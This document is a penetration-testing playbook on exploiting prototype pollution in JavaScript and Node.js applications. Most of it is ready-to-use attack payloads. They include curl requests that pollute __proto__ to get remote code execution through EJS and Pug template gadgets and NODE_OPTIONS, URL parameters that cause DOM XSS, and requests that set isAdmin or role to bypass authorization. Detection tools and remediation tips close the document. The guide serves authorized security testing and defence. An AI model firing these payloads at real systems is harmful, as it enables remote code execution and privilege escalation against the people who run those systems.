Exploiting Prototype Pollution in JavaScript

When to Use

• When testing Node.js or JavaScript-heavy web applications
• During assessment of APIs accepting deep-merged JSON objects
• When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
• During code review of object merge/clone/extend operations
• When evaluating npm packages for prototype pollution gadgets

Prerequisites

• Burp Suite with DOM Invader extension for client-side prototype pollution detection
• Node.js development environment for server-side testing
• Understanding of JavaScript prototype chain and object inheritance
• Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
• Prototype Pollution Gadgets Scanner Burp extension for server-side detection
• Browser developer console for client-side prototype manipulation

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'

Step 3 — Exploit Client-Side for DOM XSS

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

Step 4 — Exploit Server-Side for RCE

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

Step 5 — Exploit for Authentication and Authorization Bypass

# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'

Step 6 — Detect with Automated Tools

# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

Key Concepts

Concept	Description
Prototype Chain	JavaScript inheritance mechanism where objects inherit from Object.prototype
proto	Accessor property that exposes the prototype of an object
Pollution Source	Input point that allows setting properties on Object.prototype
Pollution Sink	Code that reads a polluted property and performs a dangerous operation
Gadget	A property that flows from prototype to a dangerous sink (source-to-sink chain)
Deep Merge	Recursive object merge functions that may process proto as a regular key
constructor.prototype	Alternative path to access and pollute the prototype object

Tools & Systems

Tool	Purpose
DOM Invader	Burp Suite built-in tool for detecting client-side prototype pollution
Prototype Pollution Gadgets Scanner	Burp extension for server-side gadget detection
ppfuzz	Automated prototype pollution fuzzer
Nuclei	Template-based scanner with prototype pollution templates
server-side-prototype-pollution	Burp Scanner check for server-side detection
ESLint security plugin	Static analysis for prototype pollution patterns in code

Common Scenarios

1. DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
2. RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
3. Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
4. JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data
5. Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives

Output Format

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)